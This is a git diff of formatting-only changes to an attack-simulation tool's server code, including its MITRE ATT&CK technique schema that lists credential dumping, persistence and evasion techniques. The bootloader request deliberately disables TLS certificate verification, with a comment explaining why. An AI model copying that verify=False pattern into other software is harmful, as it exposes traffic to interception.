telemetries of the same category. Max amount {MAX_SAME_CATEGORY_TELEMS}" ) @staticmethod diff --git a/monkey/monkey_island/cc/resources/version_update.py b/monkey/monkey_island/cc/resources/version_update.py index 76651487a7d..87aa96153f1 100644 --- a/monkey/monkey_island/cc/resources/version_update.py +++ b/monkey/monkey_island/cc/resources/version_update.py @@ -18,7 +18,7 @@ def __init__(self): # even when not authenticated def get(self): return { - "current_version":get_version(), - "newer_version":VersionUpdateService.get_newer_version(), - "download_link":VersionUpdateService.get_download_link(), + "current_version": get_version(), + "newer_version": VersionUpdateService.get_newer_version(), + "download_link": VersionUpdateService.get_download_link(), } diff --git a/monkey/monkey_island/cc/resources/zero_trust/finding_event.py b/monkey/monkey_island/cc/resources/zero_trust/finding_event.py index 6283bf75a59..ce99390da3e 100644 --- a/monkey/monkey_island/cc/resources/zero_trust/finding_event.py +++ b/monkey/monkey_island/cc/resources/zero_trust/finding_event.py @@ -12,7 +12,7 @@ class ZeroTrustFindingEvent(flask_restful.Resource): @jwt_required def get(self, finding_id: str): return { - "events_json":json.dumps( - MonkeyZTFindingService.get_events_by_finding(finding_id), default=str + "events_json": json.dumps( + MonkeyZTFindingService.get_events_by_finding(finding_id), default=str ) } diff --git a/monkey/monkey_island/cc/resources/zero_trust/scoutsuite_auth/scoutsuite_auth.py b/monkey/monkey_island/cc/resources/zero_trust/scoutsuite_auth/scoutsuite_auth.py index e719cae3649..5197b197253 100644 --- a/monkey/monkey_island/cc/resources/zero_trust/scoutsuite_auth/scoutsuite_auth.py +++ b/monkey/monkey_island/cc/resources/zero_trust/scoutsuite_auth/scoutsuite_auth.py @@ -17,9 +17,9 @@ class ScoutSuiteAuth(flask_restful.Resource): def get(self, provider: CloudProviders): if provider == CloudProviders.AWS.value: is_setup, message = is_cloud_authentication_setup(provider) - return {"is_setup":is_setup, "message":message} + return {"is_setup": is_setup, "message": message} else: - return {"is_setup":False, "message":""} + return {"is_setup": False, "message": ""} @jwt_required def post(self, provider: CloudProviders): @@ -28,10 +28,10 @@ def post(self, provider: CloudProviders): if provider == CloudProviders.AWS.value: try: set_aws_keys( - access_key_id=key_info["accessKeyId"], - secret_access_key=key_info["secretAccessKey"], - session_token=key_info["sessionToken"], + access_key_id=key_info["accessKeyId"], + secret_access_key=key_info["secretAccessKey"], + session_token=key_info["sessionToken"], ) except InvalidAWSKeys as e: error_msg = str(e) - return {"error_msg":error_msg} + return {"error_msg": error_msg} diff --git a/monkey/monkey_island/cc/resources/zero_trust/zero_trust_report.py b/monkey/monkey_island/cc/resources/zero_trust/zero_trust_report.py index d8a6cfc64c7..8b3ce9419e9 100644 --- a/monkey/monkey_island/cc/resources/zero_trust/zero_trust_report.py +++ b/monkey/monkey_island/cc/resources/zero_trust/zero_trust_report.py @@ -31,7 +31,7 @@ def get(self, report_data=None): elif report_data == REPORT_DATA_SCOUTSUITE: # Raw ScoutSuite data is already solved as json, no need to jsonify return Response( - ScoutSuiteRawDataService.get_scoutsuite_data_json(), mimetype="application/json" + ScoutSuiteRawDataService.get_scoutsuite_data_json(), mimetype="application/json" ) flask_restful.abort(http.client.NOT_FOUND) diff --git a/monkey/monkey_island/cc/server_utils/bootloader_server.py b/monkey/monkey_island/cc/server_utils/bootloader_server.py index f0908e57bdd..1532f1a8dc9 100644 --- a/monkey/monkey_island/cc/server_utils/bootloader_server.py +++ b/monkey/monkey_island/cc/server_utils/bootloader_server.py @@ -27,14 +27,14 @@ def do_POST(self): content_length = int(self.headers["Content-Length"]) post_data = self.rfile.read(content_length).decode() island_server_path = BootloaderHTTPRequestHandler.get_bootloader_resource_url( - self.request.getsockname()[0] + self.request.getsockname()[0] ) island_server_path = parse.urljoin(island_server_path, self.path[1:]) # The island server doesn't always have a correct SSL cert installed # (By default it comes with a self signed one), # that's why we're not verifying the cert in this request. r = requests.post( - url=island_server_path, data=post_data, verify=False, timeout=SHORT_REQUEST_TIMEOUT + url=island_server_path, data=post_data, verify=False, timeout=SHORT_REQUEST_TIMEOUT ) # noqa: DUO123 try: diff --git a/monkey/monkey_island/cc/server_utils/consts.py b/monkey/monkey_island/cc/server_utils/consts.py index b89bf4e1876..67c7209eb21 100644 --- a/monkey/monkey_island/cc/server_utils/consts.py +++ b/monkey/monkey_island/cc/server_utils/consts.py @@ -8,11 +8,11 @@ DEFAULT_SERVER_CONFIG_PATH = os.path.join(MONKEY_ISLAND_ABS_PATH, "cc", "server_config.json") DEFAULT_DEVELOP_SERVER_CONFIG_PATH = os.path.join( - MONKEY_ISLAND_ABS_PATH, "cc", "server_config.json.develop" + MONKEY_ISLAND_ABS_PATH, "cc", "server_config.json.develop" ) DEFAULT_LOGGER_CONFIG_PATH = os.path.join( - MONKEY_ISLAND_ABS_PATH, "cc", "island_logger_default_config.json" + MONKEY_ISLAND_ABS_PATH, "cc", "island_logger_default_config.json" ) DEFAULT_DATA_DIR = os.path.join(MONKEY_ISLAND_ABS_PATH, "cc") diff --git a/monkey/monkey_island/cc/server_utils/encryptor.py b/monkey/monkey_island/cc/server_utils/encryptor.py index 95b206674b9..60ab8ead94a 100644 --- a/monkey/monkey_island/cc/server_utils/encryptor.py +++ b/monkey/monkey_island/cc/server_utils/encryptor.py @@ -34,11 +34,11 @@ def _load_existing_key(self, password_file): def _pad(self, message): return message + (self._BLOCK_SIZE - (len(message) % self._BLOCK_SIZE)) * chr( - self._BLOCK_SIZE - (len(message) % self._BLOCK_SIZE) + self._BLOCK_SIZE - (len(message) % self._BLOCK_SIZE) ) def _unpad(self, message: str): - return message[0: -ord(message[len(message) - 1])] + return message[0 : -ord(message[len(message) - 1])] def enc(self, message: str): cipher_iv = Random.new().read(AES.block_size) @@ -47,9 +47,9 @@ def enc(self, message: str): def dec(self, enc_message): enc_message = base64.b64decode(enc_message) - cipher_iv = enc_message[0: AES.block_size] + cipher_iv = enc_message[0 : AES.block_size] cipher = AES.new(self._cipher_key, AES.MODE_CBC, cipher_iv) - return self._unpad(cipher.decrypt(enc_message[AES.block_size:]).decode()) + return self._unpad(cipher.decrypt(enc_message[AES.block_size :]).decode()) def initialize_encryptor(password_file_dir): diff --git a/monkey/monkey_island/cc/server_utils/island_logger.py b/monkey/monkey_island/cc/server_utils/island_logger.py index 45c3ebddad4..a32f6505f08 100644 --- a/monkey/monkey_island/cc/server_utils/island_logger.py +++ b/monkey/monkey_island/cc/server_utils/island_logger.py @@ -9,9 +9,9 @@ def json_setup_logging( - default_path=DEFAULT_LOGGER_CONFIG_PATH, - default_level=logging.INFO, - env_key="LOG_CFG", + default_path=DEFAULT_LOGGER_CONFIG_PATH, + default_level=logging.INFO, + env_key="LOG_CFG", ): """ Setup the logging configuration diff --git a/monkey/monkey_island/cc/server_utils/test_island_logger.py b/monkey/monkey_island/cc/server_utils/test_island_logger.py index caebd31bccf..af58f4b752e 100644 --- a/monkey/monkey_island/cc/server_utils/test_island_logger.py +++ b/monkey/monkey_island/cc/server_utils/test_island_logger.py @@ -7,7 +7,7 @@ from monkey_island.cc.server_utils.island_logger import json_setup_logging TEST_LOGGER_CONFIG_PATH = os.path.join( - MONKEY_ISLAND_ABS_PATH, "cc", "testing", "logger_config.json" + MONKEY_ISLAND_ABS_PATH, "cc", "testing", "logger_config.json" ) diff --git a/monkey/monkey_island/cc/services/attack/attack_config.py b/monkey/monkey_island/cc/services/attack/attack_config.py index 463753d57e4..97eea098df3 100644 --- a/monkey/monkey_island/cc/services/attack/attack_config.py +++ b/monkey/monkey_island/cc/services/attack/attack_config.py @@ -17,7 +17,7 @@ def __init__(self): @staticmethod def get_config(): - config = mongo.db.attack.find_one({"name":"newconfig"})["properties"] + config = mongo.db.attack.find_one({"name": "newconfig"})["properties"] return config @staticmethod @@ -44,7 +44,7 @@ def reset_config(): @staticmethod def update_config(config_json): - mongo.db.attack.update({"name":"newconfig"}, {"$set":config_json}, upsert=True) + mongo.db.attack.update({"name": "newconfig"}, {"$set": config_json}, upsert=True) return True @staticmethod @@ -74,11 +74,11 @@ def set_arrays(attack_techniques, monkey_config, monkey_schema): # Check if current array field has attack_techniques assigned to it if "attack_techniques" in array_field and array_field["attack_techniques"]: should_remove = not AttackConfig.should_enable_field( - array_field["attack_techniques"], attack_techniques + array_field["attack_techniques"], attack_techniques ) # If exploiter's attack technique is disabled, disable the exploiter/scanner/PBA AttackConfig.r_alter_array( - monkey_config, key, array_field["enum"][0], remove=should_remove + monkey_config, key, array_field["enum"][0], remove=should_remove ) @staticmethod @@ -109,16 +109,15 @@ def r_set_booleans(path, value, attack_techniques, monkey_config): dictionary = {} # If 'value' is a boolean value that should be set: if ( - "type" in value - and value["type"] == "boolean" - and "attack_techniques" in value - and value["attack_techniques"] + "type" in value + and value["type"] == "boolean" + and "attack_techniques" in value + and value["attack_techniques"] ): AttackConfig.set_bool_conf_val( - path, - AttackConfig.should_enable_field(value["attack_techniques"], - attack_techniques), - monkey_config, + path, + AttackConfig.should_enable_field(value["attack_techniques"], attack_techniques), + monkey_config, ) # If 'value' is dict, we go over each of it's fields to search for booleans elif "properties" in value: @@ -156,7 +155,7 @@ def should_enable_field(field_techniques, users_techniques): return False except KeyError: logger.error( - "Attack technique %s is defined in schema, but not implemented." % technique + "Attack technique %s is defined in schema, but not implemented." % technique ) return True @@ -202,7 +201,7 @@ def get_techniques_for_report(): for type_name, attack_type in list(attack_config.items()): for key, technique in list(attack_type["properties"].items()): techniques[key] = { - "selected":technique["value"], - "type":SCHEMA["properties"][type_name]["title"], + "selected": technique["value"], + "type": SCHEMA["properties"][type_name]["title"], } return techniques diff --git a/monkey/monkey_island/cc/services/attack/attack_report.py b/monkey/monkey_island/cc/services/attack/attack_report.py index a448e83c50e..5845db5023c 100644 --- a/monkey/monkey_island/cc/services/attack/attack_report.py +++ b/monkey/monkey_island/cc/services/attack/attack_report.py @@ -50,42 +50,42 @@ LOG = logging.getLogger(__name__) TECHNIQUES = { - "T1210":T1210.T1210, - "T1197":T1197.T1197, - "T1110":T1110.T1110, - "T1075":T1075.T1075, - "T1003":T1003.T1003, - "T1059":T1059.T1059, - "T1086":T1086.T1086, - "T1082":T1082.T1082, - "T1145":T1145.T1145, - "T1065":T1065.T1065, - "T1105":T1105.T1105, - "T1035":T1035.T1035, - "T1129":T1129.T1129, - "T1106":T1106.T1106, - "T1107":T1107.T1107, - "T1188":T1188.T1188, - "T1090":T1090.T1090, - "T1041":T1041.T1041, - "T1222":T1222.T1222, - "T1005":T1005.T1005, - "T1018":T1018.T1018, - "T1016":T1016.T1016, - "T1021":T1021.T1021, - "T1064":T1064.T1064, - "T1136":T1136.T1136, - "T1156":T1156.T1156, - "T1504":T1504.T1504, - "T1158":T1158.T1158, - "T1154":T1154.T1154, - "T1166":T1166.T1166, - "T1168":T1168.T1168, - "T1053":T1053.T1053, - "T1099":T1099.T1099, - "T1216":T1216.T1216, - "T1087":T1087.T1087, - "T1146":T1146.T1146, + "T1210": T1210.T1210, + "T1197": T1197.T1197, + "T1110": T1110.T1110, + "T1075": T1075.T1075, + "T1003": T1003.T1003, + "T1059": T1059.T1059, + "T1086": T1086.T1086, + "T1082": T1082.T1082, + "T1145": T1145.T1145, + "T1065": T1065.T1065, + "T1105": T1105.T1105, + "T1035": T1035.T1035, + "T1129": T1129.T1129, + "T1106": T1106.T1106, + "T1107": T1107.T1107, + "T1188": T1188.T1188, + "T1090": T1090.T1090, + "T1041": T1041.T1041, + "T1222": T1222.T1222, + "T1005": T1005.T1005, + "T1018": T1018.T1018, + "T1016": T1016.T1016, + "T1021": T1021.T1021, + "T1064": T1064.T1064, + "T1136": T1136.T1136, + "T1156": T1156.T1156, + "T1504": T1504.T1504, + "T1158": T1158.T1158, + "T1154": T1154.T1154, + "T1166": T1166.T1166, + "T1168": T1168.T1168, + "T1053": T1053.T1053, + "T1099": T1099.T1099, + "T1216": T1216.T1216, + "T1087": T1087.T1087, + "T1146": T1146.T1146, } REPORT_NAME = "new_report" @@ -102,21 +102,21 @@ def generate_new_report(): :return: Report object """ report = { - "techniques":{}, - "meta":{"latest_monkey_modifytime":Monkey.get_latest_modifytime()}, - "name":REPORT_NAME, + "techniques": {}, + "meta": {"latest_monkey_modifytime": Monkey.get_latest_modifytime()}, + "name": REPORT_NAME, } for tech_id, tech_info in list(AttackConfig.get_techniques_for_report().items()): try: technique_report_data = TECHNIQUES[tech_id].get_report_data() technique_report_data.update(tech_info) - report["techniques"].update({tech_id:technique_report_data}) + report["techniques"].update({tech_id: technique_report_data}) except KeyError as e: LOG.error( - "Attack technique does not have it's report component added " - "to attack report service. %s" % e + "Attack technique does not have it's report component added " + "to attack report service. %s" % e ) - mongo.db.attack_report.replace_one({"name":REPORT_NAME}, report, upsert=True) + mongo.db.attack_report.replace_one({"name": REPORT_NAME}, report, upsert=True) return report @staticmethod @@ -127,9 +127,9 @@ def get_latest_attack_telem_time(): """ return [ x["timestamp"] - for x in mongo.db.telemetry.find({"telem_category":"attack"}) - .sort("timestamp", -1) - .limit(1) + for x in mongo.db.telemetry.find({"telem_category": "attack"}) + .sort("timestamp", -1) + .limit(1) ][0] @staticmethod @@ -140,7 +140,7 @@ def get_latest_report(): """ if AttackReportService.is_report_generated(): monkey_modifytime = Monkey.get_latest_modifytime() - latest_report = mongo.db.attack_report.find_one({"name":REPORT_NAME}) + latest_report = mongo.db.attack_report.find_one({"name": REPORT_NAME}) report_modifytime = latest_report["meta"]["latest_monkey_modifytime"] if monkey_modifytime and report_modifytime and monkey_modifytime == report_modifytime: return latest_report @@ -161,5 +161,5 @@ def delete_saved_report_if_exists(): delete_result = mongo.db.attack_report.delete_many({}) if mongo.db.attack_report.count_documents({}) != 0: raise RuntimeError( - "Attack Report cache not cleared. DeleteResult: " + delete_result.raw_result + "Attack Report cache not cleared. DeleteResult: " + delete_result.raw_result ) diff --git a/monkey/monkey_island/cc/services/attack/attack_schema.py b/monkey/monkey_island/cc/services/attack/attack_schema.py index ed542846184..e15e1fc86e4 100644 --- a/monkey/monkey_island/cc/services/attack/attack_schema.py +++ b/monkey/monkey_island/cc/services/attack/attack_schema.py @@ -1,455 +1,455 @@ SCHEMA = { - "title":"ATT&CK configuration", - "type":"object", - "properties":{ - "execution":{ - "title":"Execution", - "type":"object", - "link":"https://attack.mitre.org/tactics/TA0002/", - "properties":{ - "T1059":{ - "title":"Command line interface", - "type":"bool", - "value":True, - "necessary":True, - "link":"https://attack.mitre.org/techniques/T1059", - "description":"Adversaries may use command-line interfaces to interact with " - "systems " - "and execute other software during the course of an operation.", - }, - "T1129":{ - "title":"Execution through module load", - "type":"bool", - "value":True, - "necessary":False, - "link":"https://attack.mitre.org/techniques/T1129", - "description":"The Windows module loader can be instructed to load DLLs from " - "arbitrary " - "local paths and arbitrary Universal Naming Convention (UNC) " - "network paths.", - "depends_on":["T1078", "T1003"], - }, - "T1106":{ - "title":"Execution through API", - "type":"bool", - "value":True, - "necessary":False, - "link":"https://attack.mitre.org/techniques/T1106", - "description":"Adversary tools may directly use the Windows application " - "programming interface (API) to execute binaries.", - "depends_on":["T1210"], - }, - "T1086":{ - "title":"Powershell", - "type":"bool", - "value":True, - "necessary":True, - "link":"https://attack.mitre.org/techniques/T1086", - "description":"Adversaries can use PowerShell to perform a number of actions," - " including discovery of information and execution of code.", - }, - "T1064":{ - "title":"Scripting", - "type":"bool", - "value":True, - "necessary":True, - "link":"https://attack.mitre.org/techniques/T1064", - "description":"Adversaries may use scripts to aid in operations and " - "perform multiple actions that would otherwise be manual.", - }, - "T1035":{ - "title":"Service execution", - "type":"bool", - "value":True, - "necessary":False, - "link":"https://attack.mitre.org/techniques/T1035", - "description":"Adversaries may execute a binary, command, or script via a " - "method " - "that interacts with Windows services, such as the Service " - "Control Manager.", - "depends_on":["T1210"], - }, - "T1154":{ - "title":"Trap", - "type":"bool", - "value":True, - "necessary":False, - "link":"https://attack.mitre.org/techniques/T1154", - "description":"Adversaries can use the trap command to register code to be " - "executed " - "when the shell encounters specific interrupts.", + "title": "ATT&CK configuration", + "type": "object", + "properties": { + "execution": { + "title": "Execution", + "type": "object", + "link": "https://attack.mitre.org/tactics/TA0002/", + "properties": { + "T1059": { + "title": "Command line interface", + "type": "bool", + "value": True, + "necessary": True, + "link": "https://attack.mitre.org/techniques/T1059", + "description": "Adversaries may use command-line interfaces to interact with " + "systems " + "and execute other software during the course of an operation.", + }, + "T1129": { + "title": "Execution through module load", + "type": "bool", + "value": True, + "necessary": False, + "link": "https://attack.mitre.org/techniques/T1129", + "description": "The Windows module loader can be instructed to load DLLs from " + "arbitrary " + "local paths and arbitrary Universal Naming Convention (UNC) " + "network paths.", + "depends_on": ["T1078", "T1003"], + }, + "T1106": { + "title": "Execution through API", + "type": "bool", + "value": True, + "necessary": False, + "link": "https://attack.mitre.org/techniques/T1106", + "description": "Adversary tools may directly use the Windows application " + "programming interface (API) to execute binaries.", + "depends_on": ["T1210"], + }, + "T1086": { + "title": "Powershell", + "type": "bool", + "value": True, + "necessary": True, + "link": "https://attack.mitre.org/techniques/T1086", + "description": "Adversaries can use PowerShell to perform a number of actions," + " including discovery of information and execution of code.", + }, + "T1064": { + "title": "Scripting", + "type": "bool", + "value": True, + "necessary": True, + "link": "https://attack.mitre.org/techniques/T1064", + "description": "Adversaries may use scripts to aid in operations and " + "perform multiple actions that would otherwise be manual.", + }, + "T1035": { + "title": "Service execution", + "type": "bool", + "value": True, + "necessary": False, + "link": "https://attack.mitre.org/techniques/T1035", + "description": "Adversaries may execute a binary, command, or script via a " + "method " + "that interacts with Windows services, such as the Service " + "Control Manager.", + "depends_on": ["T1210"], + }, + "T1154": { + "title": "Trap", + "type": "bool", + "value": True, + "necessary": False, + "link": "https://attack.mitre.org/techniques/T1154", + "description": "Adversaries can use the trap command to register code to be " + "executed " + "when the shell encounters specific interrupts.", }, }, }, - "persistence":{ - "title":"Persistence", - "type":"object", - "link":"https://attack.mitre.org/tactics/TA0003/", - "properties":{ - "T1156":{ - "title":".bash_profile and .bashrc", - "type":"bool", - "value":True, - "necessary":False, - "link":"https://attack.mitre.org/techniques/T1156", - "description":"Adversaries may abuse shell scripts by " - "inserting arbitrary shell commands to gain persistence, which " - "would be executed every time the user logs in or opens a new " - "shell.", - "depends_on":["T1504"], - }, - "T1136":{ - "title":"Create account", - "type":"bool", - "value":True, - "necessary":False, - "link":"https://attack.mitre.org/techniques/T1136", - "description":"Adversaries with a sufficient level of access " - "may create a local system, domain, or cloud tenant account.", - }, - "T1158":{ - "title":"Hidden files and directories", - "type":"bool", - "value":True, - "necessary":False, - "link":"https://attack.mitre.org/techniques/T1158", - "description":"Adversaries can hide files and folders on the system " - "and evade a typical user or system analysis that does not " - "incorporate investigation of hidden files.", - }, - "T1168":{ - "title":"Local job scheduling", - "type":"bool", - "value":True, - "necessary":False, - "link":"https://attack.mitre.org/techniques/T1168/", - "description":"Linux supports multiple methods for creating pre-scheduled and " - "periodic background jobs. Job scheduling can be used by " - "adversaries to " - "schedule running malicious code at some specified date and " - "time.", - "depends_on":["T1053"], - }, - "T1504":{ - "title":"PowerShell profile", - "type":"bool", - "value":True, - "necessary":False, - "link":"https://attack.mitre.org/techniques/T1504", - "description":"Adversaries may gain persistence and elevate privileges " - "in certain situations by abusing PowerShell profiles which " - "are scripts that run when PowerShell starts.", - "depends_on":["T1156"], - }, - "T1053":{ - "title":"Scheduled task", - "type":"bool", - "value":True, - "necessary":False, - "link":"https://attack.mitre.org/techniques/T1053", - "description":"Windows utilities can be used to schedule programs or scripts " - "to " - "be executed at a date and time. An adversary may use task " - "scheduling to " - "execute programs at system startup or on a scheduled basis for " - "persistence.", - "depends_on":["T1168"], - }, - "T1166":{ - "title":"Setuid and Setgid", - "type":"bool", - "value":True, - "necessary":False, - "link":"https://attack.mitre.org/techniques/T1166", - "description":"Adversaries can set the setuid or setgid bits to get code " - "running in " - "a different user’s context.", + "persistence": { + "title": "Persistence", + "type": "object", + "link": "https://attack.mitre.org/tactics/TA0003/", + "properties": { + "T1156": { + "title": ".bash_profile and .bashrc", + "type": "bool", + "value": True, + "necessary": False, + "link": "https://attack.mitre.org/techniques/T1156", + "description": "Adversaries may abuse shell scripts by " + "inserting arbitrary shell commands to gain persistence, which " + "would be executed every time the user logs in or opens a new " + "shell.", + "depends_on": ["T1504"], + }, + "T1136": { + "title": "Create account", + "type": "bool", + "value": True, + "necessary": False, + "link": "https://attack.mitre.org/techniques/T1136", + "description": "Adversaries with a sufficient level of access " + "may create a local system, domain, or cloud tenant account.", + }, + "T1158": { + "title": "Hidden files and directories", + "type": "bool", + "value": True, + "necessary": False, + "link": "https://attack.mitre.org/techniques/T1158", + "description": "Adversaries can hide files and folders on the system " + "and evade a typical user or system analysis that does not " + "incorporate investigation of hidden files.", + }, + "T1168": { + "title": "Local job scheduling", + "type": "bool", + "value": True, + "necessary": False, + "link": "https://attack.mitre.org/techniques/T1168/", + "description": "Linux supports multiple methods for creating pre-scheduled and " + "periodic background jobs. Job scheduling can be used by " + "adversaries to " + "schedule running malicious code at some specified date and " + "time.", + "depends_on": ["T1053"], + }, + "T1504": { + "title": "PowerShell profile", + "type": "bool", + "value": True, + "necessary": False, + "link": "https://attack.mitre.org/techniques/T1504", + "description": "Adversaries may gain persistence and elevate privileges " + "in certain situations by abusing PowerShell profiles which " + "are scripts that run when PowerShell starts.", + "depends_on": ["T1156"], + }, + "T1053": { + "title": "Scheduled task", + "type": "bool", + "value": True, + "necessary": False, + "link": "https://attack.mitre.org/techniques/T1053", + "description": "Windows utilities can be used to schedule programs or scripts " + "to " + "be executed at a date and time. An adversary may use task " + "scheduling to " + "execute programs at system startup or on a scheduled basis for " + "persistence.", + "depends_on": ["T1168"], + }, + "T1166": { + "title": "Setuid and Setgid", + "type": "bool", + "value": True, + "necessary": False, + "link": "https://attack.mitre.org/techniques/T1166", + "description": "Adversaries can set the setuid or setgid bits to get code " + "running in " + "a different user’s context.", }, }, }, - "defence_evasion":{ - "title":"Defence evasion", - "type":"object", - "link":"https://attack.mitre.org/tactics/TA0005/", - "properties":{ - "T1197":{ - "title":"BITS jobs", - "type":"bool", - "value":True, - "necessary":True, - "link":"https://attack.mitre.org/techniques/T1197", - "description":"Adversaries may abuse BITS to download, execute, " - "and even clean up after running malicious code.", - }, - "T1146":{ - "title":"Clear command history", - "type":"bool", - "value":False, - "necessary":False, - "link":"https://attack.mitre.org/techniques/T1146", - "description":"Adversaries may clear/disable command history of a compromised " - "account to conceal the actions undertaken during an intrusion.", - }, - "T1107":{ - "title":"File Deletion", - "type":"bool", - "value":True, - "necessary":True, - "link":"https://attack.mitre.org/techniques/T1107", - "description":"Adversaries may remove files over the course of an intrusion " - "to keep their footprint low or remove them at the end as part " - "of the post-intrusion cleanup process.", - }, - "T1222":{ - "title":"File permissions modification", - "type":"bool", - "value":True, - "necessary":True, - "link":"https://attack.mitre.org/techniques/T1222", - "description":"Adversaries may modify file permissions/attributes to evade " - "intended DACLs.", - }, - "T1099":{ - "title":"Timestomping", - "type":"bool", - "value":True, - "necessary":False, - "link":"https://attack.mitre.org/techniques/T1099", - "description":"Adversaries may modify file time attributes to hide " - "new/changes to existing " - "files to avoid attention from forensic investigators or file " - "analysis tools.", - }, - "T1216":{ - "title":"Signed script proxy execution", - "type":"bool", - "value":False, - "necessary":False, - "link":"https://attack.mitre.org/techniques/T1216", - "description":"Adversaries may use scripts signed with trusted certificates to " - "proxy execution of malicious files on Windows systems.", + "defence_evasion": { + "title": "Defence evasion", + "type": "object", + "link": "https://attack.mitre.org/tactics/TA0005/", + "properties": { + "T1197": { + "title": "BITS jobs", + "type": "bool", + "value": True, + "necessary": True, + "link": "https://attack.mitre.org/techniques/T1197", + "description": "Adversaries may abuse BITS to download, execute, " + "and even clean up after running malicious code.", + }, + "T1146": { + "title": "Clear command history", + "type": "bool", + "value": False, + "necessary": False, + "link": "https://attack.mitre.org/techniques/T1146", + "description": "Adversaries may clear/disable command history of a compromised " + "account to conceal the actions undertaken during an intrusion.", + }, + "T1107": { + "title": "File Deletion", + "type": "bool", + "value": True, + "necessary": True, + "link": "https://attack.mitre.org/techniques/T1107", + "description": "Adversaries may remove files over the course of an intrusion " + "to keep their footprint low or remove them at the end as part " + "of the post-intrusion cleanup process.", + }, + "T1222": { + "title": "File permissions modification", + "type": "bool", + "value": True, + "necessary": True, + "link": "https://attack.mitre.org/techniques/T1222", + "description": "Adversaries may modify file permissions/attributes to evade " + "intended DACLs.", + }, + "T1099": { + "title": "Timestomping", + "type": "bool", + "value": True, + "necessary": False, + "link": "https://attack.mitre.org/techniques/T1099", + "description": "Adversaries may modify file time attributes to hide " + "new/changes to existing " + "files to avoid attention from forensic investigators or file " + "analysis tools.", + }, + "T1216": { + "title": "Signed script proxy execution", + "type": "bool", + "value": False, + "necessary": False, + "link": "https://attack.mitre.org/techniques/T1216", + "description": "Adversaries may use scripts signed with trusted certificates to " + "proxy execution of malicious files on Windows systems.", }, }, }, - "credential_access":{ - "title":"Credential access", - "type":"object", - "link":"https://attack.mitre.org/tactics/TA0006/", - "properties":{ - "T1110":{ - "title":"Brute force", - "type":"bool", - "value":True, - "necessary":False, - "link":"https://attack.mitre.org/techniques/T1110", - "description":"Adversaries may use brute force techniques to attempt access " - "to accounts " - "when passwords are unknown or when password hashes are " - "obtained.", - "depends_on":["T1210", "T1021"], - }, - "T1003":{ - "title":"Credential dumping", - "type":"bool", - "value":True, - "necessary":False, - "link":"https://attack.mitre.org/techniques/T1003", - "description":"Mapped with T1078 Valid Accounts because both techniques require" - " same credential harvesting modules. " - "Credential dumping is the process of obtaining account login " - "and password " - "information, normally in the form of a hash or a clear text " - "password, " - "from the operating system and software.", - "depends_on":["T1078"], - }, - "T1145":{ - "title":"Private keys", - "type":"bool", - "value":True, - "necessary":False, - "link":"https://attack.mitre.org/techniques/T1145", - "description":"Adversaries may gather private keys from compromised systems " - "for use in " - "authenticating to Remote Services like SSH or for use in " - "decrypting " - "other collected files such as email.", - "depends_on":["T1110", "T1210"], + "credential_access": { + "title": "Credential access", + "type": "object", + "link": "https://attack.mitre.org/tactics/TA0006/", + "properties": { + "T1110": { + "title": "Brute force", + "type": "bool", + "value": True, + "necessary": False, + "link": "https://attack.mitre.org/techniques/T1110", + "description": "Adversaries may use brute force techniques to attempt access " + "to accounts " + "when passwords are unknown or when password hashes are " + "obtained.", + "depends_on": ["T1210", "T1021"], + }, + "T1003": { + "title": "Credential dumping", + "type": "bool", + "value": True, + "necessary": False, + "link": "https://attack.mitre.org/techniques/T1003", + "description": "Mapped with T1078 Valid Accounts because both techniques require" + " same credential harvesting modules. " + "Credential dumping is the process of obtaining account login " + "and password " + "information, normally in the form of a hash or a clear text " + "password, " + "from the operating system and software.", + "depends_on": ["T1078"], + }, + "T1145": { + "title": "Private keys", + "type": "bool", + "value": True, + "necessary": False, + "link": "https://attack.mitre.org/techniques/T1145", + "description": "Adversaries may gather private keys from compromised systems " + "for use in " + "authenticating to Remote Services like SSH or for use in " + "decrypting " + "other collected files such as email.", + "depends_on": ["T1110", "T1210"], }, }, }, - "discovery":{ - "title":"Discovery", - "type":"object", - "link":"https://attack.mitre.org/tactics/TA0007/", - "properties":{ - "T1087":{ - "title":"Account Discovery", - "type":"bool", - "value":True, - "necessary":False, - "link":"https://attack.mitre.org/techniques/T1087", - "description":"Adversaries may attempt to get a listing of accounts on a " - "system or " - "within an environment. This information can help adversaries " - "determine which " - "accounts exist to aid in follow-on behavior.", - }, - "T1018":{ - "title":"Remote System Discovery", - "type":"bool", - "value":True, - "necessary":True, - "link":"https://attack.mitre.org/techniques/T1018", - "description":"Adversaries will likely attempt to get a listing of other " - "systems by IP address, " - "hostname, or other logical identifier on a network for lateral" - " movement.", - }, - "T1082":{ - "title":"System information discovery", - "type":"bool", - "value":True, - "necessary":False, - "link":"https://attack.mitre.org/techniques/T1082", - "depends_on":["T1016", "T1005"], - "description":"An adversary may attempt to get detailed information about the " - "operating system and hardware, including version, patches, " - "hotfixes, " - "service packs, and architecture.", - }, - "T1016":{ - "title":"System network configuration discovery", - "type":"bool", - "value":True, - "necessary":False, - "link":"https://attack.mitre.org/techniques/T1016", - "depends_on":["T1005", "T1082"], - "description":"Adversaries will likely look for details about the network " - "configuration " - "and settings of systems they access or through information " - "discovery" - " of remote systems.", + "discovery": { + "title": "Discovery", + "type": "object", + "link": "https://attack.mitre.org/tactics/TA0007/", + "properties": { + "T1087": { + "title": "Account Discovery", + "type": "bool", + "value": True, + "necessary": False, + "link": "https://attack.mitre.org/techniques/T1087", + "description": "Adversaries may attempt to get a listing of accounts on a " + "system or " + "within an environment. This information can help adversaries " + "determine which " + "accounts exist to aid in follow-on behavior.", + }, + "T1018": { + "title": "Remote System Discovery", + "type": "bool", + "value": True, + "necessary": True, + "link": "https://attack.mitre.org/techniques/T1018", + "description": "Adversaries will likely attempt to get a listing of other " + "systems by IP address, " + "hostname, or other logical identifier on a network for lateral" + " movement.", + }, + "T1082": { + "title": "System information discovery", + "type": "bool", + "value": True, + "necessary": False, + "link": "https://attack.mitre.org/techniques/T1082", + "depends_on": ["T1016", "T1005"], + "description": "An adversary may attempt to get detailed information about the " + "operating system and hardware, including version, patches, " + "hotfixes, " + "service packs, and architecture.", + }, + "T1016": { + "title": "System network configuration discovery", + "type": "bool", + "value": True, + "necessary": False, + "link": "https://attack.mitre.org/techniques/T1016", + "depends_on": ["T1005", "T1082"], + "description": "Adversaries will likely look for details about the network " + "configuration " + "and settings of systems they access or through information " + "discovery" + " of remote systems.", }, }, }, - "lateral_movement":{ - "title":"Lateral movement", - "type":"object", - "link":"https://attack.mitre.org/tactics/TA0008/", - "properties":{ - "T1210":{ - "title":"Exploitation of Remote services", - "type":"bool", - "value":True, - "necessary":False, - "link":"https://attack.mitre.org/techniques/T1210", - 